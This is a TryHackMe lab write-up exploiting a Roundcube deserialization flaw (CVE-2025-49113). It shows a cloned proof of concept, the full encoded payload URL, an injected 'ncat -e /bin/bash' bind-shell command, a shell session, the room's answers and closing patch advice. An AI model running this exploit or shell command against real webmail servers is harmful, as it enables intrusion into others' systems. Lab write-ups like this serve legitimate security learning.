TryHackMe - Roundcube
Exploit CVE-2025-49113 in a lab environment
Introduction
This room wants us to understand how deserialization vulnerabilities work. Serialization turns an object (like in PHP, Java, or Python) into a format we can store or send. Deserialization does the reverse—but if the input isn’t properly checked, attackers can exploit it to run malicious code.
Kirill Firsov found such a flaw in Roundcube Webmail. The issue was in upload.php
, where the _from parameter wasn’t safely validated before deserialization. The commits for versions 1.5.10 and 1.6.11 show how they patched it—by adding checks to block unsafe characters in _from.
Nmap
Seems like we got exact link and credentials to use so no nmap is necessary.
Exploitation
Let’s visit http://10.10.191.67/roundcube
like we are instructed to
We are presented with roundcube login form:
Let’s use provided credentials:
Username: ellieptic
Password: ChangeMe123
Let’s download our Proof of Concept exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ git clone https://github.com/fearsoff-org/CVE-2025-49113
Cloning into 'CVE-2025-49113'...
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (8/8), 7.33 KiB | 3.67 MiB/s, done.
Resolving deltas: 100% (1/1), done.
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ cd CVE-2025-49113/
┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ ls
CVE-2025-49113.php rc_install.sh README.md
Executing the Exploit
To run the exploit we need to add the arguments as follows:
php CVE-2025-49113.php target_url username password command
So let’s do it and wait for it to execute
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ php CVE-2025-49113.php http://10.10.191.67/roundcube ellieptic ChangeMe123 "ncat -lvnp 4444 -e /bin/bash"
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: ellieptic
### Authentication successful
### Command to be executed:
ncat -lvnp 4444 -e /bin/bash
### Injecting payload...
### End payload: http://10.10.191.67/roundcube/?_from=edit-%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C73%C70%C7%3A%C7%22%C7n%C7c%C7a%C7t%C7+%C7-%C7l%C7v%C7n%C7p%C7+%C74%C74%C74%C74%C7+%C7-%C7e%C7+%C7%2F%C7b%C7i%C7n%C7%2F%C7b%C7a%C7s%C7h%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload
### Payload injected successfully
### Executing payload...
PHP Warning: file_get_contents(http://10.10.191.67/roundcube/): Failed to open stream: HTTP request failed! in /home/rene/tryhackme/roundcube/CVE-2025-49113/CVE-2025-49113.php on line 237
### Error: CSRF token not found in response body
We can see that we got the error but the netcat command got through and we are able to connect and execute commands:
1
2
3
4
┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ nc 10.10.191.67 4444
pwd
/var/www/html/roundcube
Question: One of the users has the first name of Maggie; what is her last name?
1
2
3
4
5
6
7
8
cd /home
ls
algorithm
ellieptic
maggiebyte
terrybyte
testuser
ubuntu
Answer:
1
Byte
Question: What is the value of the flag saved in /etc?
1
2
cd /etc
cat flag.txt
This vulnerability only requires valid webmail credentials and works on default Roundcube installs. It’s hard to spot since the exploit traffic can look completely normal. Because of its severity, users running 1.5.x or 1.6.x should upgrade to 1.5.10 or 1.6.11. If updating isn’t an option, a temporary fix is to block access to upload.php.